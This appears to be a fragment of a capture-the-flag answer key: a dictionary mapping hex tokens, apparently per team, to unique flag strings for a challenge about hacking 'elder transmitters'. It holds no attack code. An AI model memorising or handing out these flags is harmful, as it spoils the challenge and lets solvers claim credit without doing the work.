'863213f60c7eb46e67e4b287bf246776': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_rBFQuNLENj}',
'70664f3254e8b26b3d5ab34543f567d3': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_MxwbX302Dl}',
'9efd839b2f5864685869ba830a0b81bc': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_mFzEG9OjwC}',
'10af010c0b3170869023909ec7dc9c72': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_v7wNas4ez4}',
'f06da27898889e78b1af390975ccb1d6': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_VJQi13NECn}',
'5d32cdbb981d6ac579f66a529f806da6': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_aaeqKZxi6C}',
'49cfbb0ba25d5cd856ef217007136edf': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_SC8HPd5JDq}',
'3a1bed902cd046d5e2e8b0ea0d8b872e': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_NugUbzl60B}',
'0a974ad9a309941ee4212fcbcd4bd648': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_meqo94G5UI}',
'b92b90e4f3384bafb89026421738785b': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_8SCcbNxSW0}',
'a76dab9d9e8bad376a1413b14274f509': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_oY8laR6sJM}',
'ff3049f64fa27730b257b63435ff6400': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_YCCvAT6miz}',
'df3a476b7a4ab85464a5a61007979785': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_4z2Lvgge4c}',
'1e68bf245b052d833c9e2153207d2905': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_FB6KnMsz9w}',
'7ffe64855f9129f5b850232f67f1aea5': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_7pX05kXb24}',
'cebf63778d2ad98881cd36242028e50e': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_fl5pA0Iw85}',
'7a2b9107d54b9501a504c353b37e23d0': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_6ojYK30gik}',
'dd6d806b3be169acdf0f25d30ab571ac': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_IS0R8B21Fh}',
'edae147bd7f25b9ba16a90838b54d2ce': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_17AJJujArT}',
'7b7b922e15f97eb2a6c0946babd208f0': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_bxp4kcKM4N}',
'd968ad27afadcb0245d8df3d1aab4fdb': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_ynRcBuRtCD}',
'720b291cdaa41830c6f11e553f5817ea': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_MfGkiEUqWR}',
'57cd88b3aac63e837671de53954cfff5': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_JyxBXPzfhE}',
'f9e24f95ac96550d8979f3f7ef6ac00e': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_0fyF54HWdq}',
'694ae2b4c1e046efc0e71178c2565342': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_yHYX9CUjmr}',
'053e1a555aa9c3784488a8a2048eefdb': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_fHBpFNUfL4}',
'cad3a08f667a8bec30c781a2686ff8a9': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_9hTEFP2ZUT}',
'40411267820f73a423fb79ca1bb30093': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_T4Pm2vFx35}',
'b40cfc77fba0e4ce5b53710ffd3058e1': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_QEXWvBkhHo}',
'e3b79d1a1928177fb2f1fadf33034af3': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_5sPFKLY0pv}',
'7ae8874f0b9204935a1cb140a2cd1b68': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_adDzKAYgAa}',
'b99bcd8fd2ede16e4f382e3c057a960d': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_YmkbxfPb4H}',
'd4f7b235a3418d473db929d834b690c3': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_b9zUXUbWvk}',
'ae67a6416deeb9d9449024de7d0c6944': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_kDn8lglyaQ}',
'9d46b28ccb06e52d5012b267b45104db': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_mBApNyJGwn}',
'89ec6b3c73694bc2917fcf8deda5ecc4': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_IxtIg0kD0v}',
'12fa951a8d881bc31a9065d930377f16': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_VUAcjjVXNY}',
'88ef9791206286cfd0d754388eb0ad2c': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_K5eoamvbax}',
'75016557af30742c7ab2938a05bc1d82': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_kmTL9mH2lq}',
'43d29c7bf572eca6b397f232ab11d20e': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_BVTQFIT0cI}',
'e7b5f94dd422db40e13e1e4bd76ca7f7': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_6J9isWdiat}',
'7b3bd2605bfcf9837f43fcec8b1d7394': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_GlDh6pQEpt}',
'8f5cd100e90b7d612d95c8386aadab33': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_jry8veBUZz}',
'ae23192e75e0e47b8fe84c33912c0a4a': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_fz8SKiajXQ}',
'887199aa545c1b21d18f162aecb94337': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_rWUTTUqmao}',
'6452e781361ee345df4155f80c3cbb2b': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_HMcGPSBAX5}',
'2fd1f305bd95cbf5fb865904811cb9ba': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_HbVrDUKn2s}',
'e87fca2477e0edddb49834f87c6277e7': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_m76H2agcjN}',
'cd59d6d51f97c9dfe0facd5b27d3dc46': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_DfADciJE5P}',
'ca8cf0d222757974eb13bae99928534f': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_qbLqEKnsGu}',
'291bfe760e2589beac98450508520e93': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_uIVR58Wlu4}',
'ea3e687fe17c297628f0b4e20b23c3b1': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_a8qfNdtqel}',
'8ea26a2b02cda4199b3e7f38ae612736': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_NhjzBTVAIR}',
'ce44ff1fca46a7cce38dcbe9278ffb0a': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_4ztfjj0kYX}',
'0431d0f58724ae620f3582076c7f0721': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_kaeCnCwg3N}',
'b48e7ba47d6f4d5f0e501eaf50497b08': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_m5jhTWFINi}',
'40f65fc0c40a83bd5816f688447ec0d0': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_BRgI3SN4te}',
'9e57cf7e615f0dad67a6e1bef326b8b5': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_Yy9K5QMN0Z}',
'4a7f45778555b1bfa482e9d03c2e0bad': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_xlv3ejECiq}',
'c58b7c8b8cb3d81350217e5a373d4578': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_3o1F5y5IJT}',
'9a21e2a4dfc06483da081cc46c3ebe08': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_O8Tzd9I2qx}',
'ee5a1d3598fd0519904e1ebe4af208bb': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_2qw3DAUCLs}',
'69cf7259f28678f2a6a3be70e2598d88': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_2Lc81Z3CtZ}',
'0c0d06b1c6a18c3087f5abae9c514265': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_g63f1FQVGn}',
'8385b6729fc598c1b9d52245279bbcf7': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_SGlq9WTR1N}',
'78640d7dce8ab1043ace6871bc7ef812': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_7dI9inaQCC}',
'947e0a0b98a654129f969cce1130412e': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_E1pJRGleBa}',
'090fc6c6efbaa4fe9abbf28311fa5bd8': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_WlsEV7Ka9f}',
'0eb04ab870176dd1e2650086ca96e1d9': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_oyP8ClaP42}',
'30137e50d4847c02c22a6887b8ebd671': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_evug8F6z07}',
'd1be60faa97176cc98315d2b71517c6c': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_wD7oFLeQkZ}',
'163dfa8c3d41804d7a3eb87377eaae97': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_TatqoXfljm}',
'846e7a1f66604a76e443b350508933a0': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_y3WWwdyrAL}',
'8ed3ed19a2d2c2718dbced428bd88ca7': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_qAWM3M4T6y}',
'e04bbd3a8d48615c7d736ccbcc6a24c0': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_eQPO9MzWCH}',
'74a482d335e7d679dae99dcebe254a7a': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_0QUyKziU07}',
'70747871b778234cbacd33b1f1924022': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_WroRtfCB8V}',
'bb6aa088b5292a6c1d438f667f88668a': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_xosF9IADSy}',
'e37617a50bb7ee7c7504d12d2de75486': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_c7bR5A9yop}',
'3dab12632fb0aa6deaccdf5f15ab5a51': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_UAdlGE3mTX}',
'ab78f350c6818e73ad494ce7f22d0213': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_cdU4OP9poy}',
'7cd4a9e26a13a471f78d51996e048709': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_XtpRlM926Z}',
'cfcf10544c9bd0b70f473b2bf2bf55a6': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_8w1u2iRR1Z}',
'1f028a3cfd9664b01cff0dfbc79afe7d': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_uGbuBUnywa}',
'97c72c210f622b34122a81de983278f4': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_kRjhqFS1e1}',
'2d0b04f767675ef9965f1dc24becfee5': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_Gm6aWyP4RF}',
'ace743c9cffec5329574c9764219cfc7': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_qAvcNQsenZ}',
'3f365567f68aeb30615eed8b26d7e130': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_ccjfU9e5OM}',
'8e6d9bdb082682ca10c9c50787974e01': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_QXTHQ3bTQb}',
'9e96cf30aa409ab15d394dd8dcf4d5c0': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_ZTjOEV7ifb}',
'35fc4aac47e5d7e0d2c08ebcc57d9802': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_v1yCWvRHVR}',
'152c2f30a13e9781d61d8d633798ef06': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_ZhpwZLCPmV}',
'1bf90fb65b0f1141ca8a14cc3875ec6b': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_ugdTojd3MT}',
'd9395778bddbc4c92548df6e336f4cb3': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_2mhiis9HKi}',
'0adbb5382b39110960206e1c09a143e9': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_siMkjLh4Yd}',
'3d9cf85dad3abc083e5eef75b05acb0d': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_DW0LVMF2kR}',
'7d2588d0d90046bd4dc97a011f3ebc95': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_31QKYzGF7U}',
'0542bb00a60f76c6a4a847e405e736e9': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_wDPR2zUHrc}',
'acb617a28cd3a588d5fcbb5badd0e04a': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_NfX8EnW5wf}',
'3c914442b8a30339c3f45a639b8faac8': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_TUgXuqLKbb}',
'591063d14bc5f9cb09851a9f0a367a27': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_LkcCpfgGKL}',
'495a95cda455091f1caf5abd0fc7e4d3': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_I9DyQu3iCE}',
'afab046bdd744b3b26c3259834c27dee': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_kX6hMGFAXA}',
'f3ce4d0f00156dfee892d2b762b7d05c': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_ZadGTUfPkO}',
'02d5eabb29d877c37685cde24c6299aa': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_E8DsaeLlCq}',
'371dd567e9457d9fa82d11f80cd6e395': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_5RXmMzkoMN}',
'f5097aaab895aa65a742be3ba9998ada': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_8tXB0WKAfA}',
'b08be1be84c97ee8e17b34afa65050a5': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_UoZ88kaWnb}',
'3ccff5523db209f0003b2f86e65a69be': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_P9lyQoCaPQ}',
'104cf62a28abe92d0c36bb40143a14c1': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_WXAjA75asl}',
'31d06ab8f98bbba55e09456994598f75': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_h8uZk0B9fz}',
'6a87d7b0b4e3ebf2915bf0c77d48a2da': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_L0LV6sW0Fx}',
'02531c60a9f4381f1981dcd0287c36ca': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_LVGfJx6Cgn}',
'35130468d2592583a68080f255a562dc': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_Yaosz7Oteh}',
'19aea4428e93f85b6f075fa593105527': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_QwlqvU2hv5}',
'baadf60247d08d7a6485520413798e1d': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_bEN5rWyaO8}',
'789d8877d29dbac9cb93712d47813634': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_GvCQLoL3q5}',
'e068edc03b18898387d1b6e7919e3b5a': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_0jq2xyZoUy}',
'fb7ce483ca91ba2f54f9b17b862f171d': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_mOHqRLYdfj}',
'd0feed86400b20acc610424797f60cc6': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_7lFDe73dQy}',
'f4503bb693d6bffcb273dde2cdb43c66': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_R5lgTVYzhU}',
'4b0ccbfb90435e2a31639621080a4041': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_4H0FYiVITQ}',
'c76b82b72acdb6467f0e3fced7af6a09': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_0yLrS0Y90o}',
'121bd3f5c648eaef9df003ce17c48a50': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_3FhTTjojAT}',
'c42e7300513952b18ad36f7794c39104': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_UcxW1WaM53}',
'd21ebdb6bc69e67b17020c0b48f6ce56': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_RTEDB72BgK}',
'c569435a0491508a5f550e11fc89c7b9': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_yu1qRakLpt}',
'11ecf083ba123b37d191e10384e30cfd': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_hNI0XkmYnk}',
'85f703e8a647489fdd6b73cb56dcf9c7': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_bZsWQCjKhR}',
'2c6fe0f48c92bd958e2087005f02654b': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_P9Y1bMXRcj}',
'f556875a4a94d2ad4b52954b7c8a08d1': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_5L9Fr8ABiN}',
'e4aeab12ff45daae0ac9da6589806dc5': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_SGtSbaMDZ1}',
'aae6f93f23227123b920e2efc972aacd': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_trgwM1F5gg}',
'8b35ecf4ab4c1615a4f659e92835f782': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_TXjdhYRGJO}',
'7a1e6845d7db6a5cfd80f13e1bce75b8': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_EOpQR7n0Sj}',
'b27560d4ef92340e8014d0dd77a8468b': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_0aHJnjhL7R}',
'88264a2521ce8b7cd601e41ce648bb34': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_rvYyyq1Upf}',
'8206f5eebb17c0004ca62ad7ee3127ce': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_3E3SzaHdtc}',
'b732ba24855172ad38030da32e1da16c': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_bpnpnNCV0c}',
'39e4acd79adfa198231d6859b193340a': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_fLueKXgjiu}',
'de7e3c103a9eb96f33df1307b5163dfd': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_hvAuK4l5zu}',
'2485baf6974727d1c65a60637727654d': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_cEHj6SUaHE}',
'e017e50975d326351e2d5da98a8d83ec': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_me6F23oOkm}',
'4a87bb2434b5704067e40b50337b07b1': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_WVNgxYIJv6}',
'5c4ba3cd4c342fdb8afa2412e19fea4d': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_6vHtHTKCOb}',
'e13378b284e8cbd696c4147e99aa8899': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_rYLtBvrulI}',
'e9d91d15549099ed1abc7090822fdf28': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_E7ibQWgtNQ}',
'ec6f1e18cf3ccff7d6fc6eae72f82311': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_6AEHgeXEqx}',
'822cc5f6a3fbc5acb94f35d9613dd30f': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_jKsIIqJJVQ}',
'56bb58f445691aec09f8aa4dc7be98f7': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_bUTJcHnff9}',
'431d54b3b83651144c28fa967203b404': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_auG5sllN8z}',
'2a0a024d1d66c4830000245136117596': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_kO5bnKqgNa}',
'2b4f3972ae7c54c067ee6c2e7f748661': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_t5JOJc5Eg3}',
'd7627e025b110e9e3f13ea337e4e502b': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_ObSFvdNoIG}',
'20e44b8702fdcca1aa1eae9da4258ba2': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_lTr8t3g3qr}',
'b19c0cd8cff13ab8c7c04f0dc130eee6': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_VPsD4OUC3u}',
'668a2e79b2489a557eb85f7b26b1004e': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_MYltgW17hw}',
'a7cdff50e412462395a536a0cd66b75e': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_GzJJYvudmp}',
'ba668a474d0feead0cc8262094f73c07': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_9jhYp7hCOg}',
'2dd2bb3485b8bf06eef1fdd2dc8ce919': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_SB60JtUEso}',
'341491ce7a614369dd0de24d457fd3b3': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_tqVqeIoRZL}',
'4aa0a81095125181c9f7d4a81aef7636': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_CJAVEU45YG}',
'f4e916b0dccdda506d4f87318420b11c': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_HGhlHe7r76}',
'5720ac6cf33f05f3d0a297d499f231d8': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_UrpTCZkzHv}',
'f1d8022a940531fea89f5acf88b814f2': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_4wwHyspuZL}',
'c756777f3c7ff75655ead22ddfc4bbe1': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_326U5nhwPv}',
'9f2755bbf844ba60589a0c3ad1e819c1': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_gTbVxYwkHS}',
'07d2d65cdcc313dff1d124b0375641a9': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_TizSt54BY9}',
'4af778c6f705b00889cc0520f5d641cb': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_GZHPVIcQyF}',
'ddc3b0aa535e7c0f765cc64ab4938195': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_tzQFpWct1N}',
'cbe03b4a88a0b8bb4b995f70c5ff6c2b': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_JLd4pKiJZY}',
'a2e29894f0bb109249bbbf4c67e6a272': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_OKxg6uvBJf}',
'c0305797348803bcec8a721eb6266080': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_dKxvyKfO02}',
'abeb7aa2dfd4d00c94dcf3119ad83aee': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_IqdR8vqrBX}',
'88c9b08b16f8f2ca1df2e3821f5b6c45': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_A3HY33oNNv}',
'526595243b1d252b4ab20607bf0ffcef': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_iLP4IPK2ZT}',
'8b628202f5cb03ea9bb3bd8332f13fd8': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_jZzECsoPf5}',
'1dae22534ecffe872ef18ea6b95fd06e': 'QCTF{c0ngra7ulat10ns_y0u_c4n_hacK_eld3r_traN5m1tt3rs_6e3K5eiR9L}',
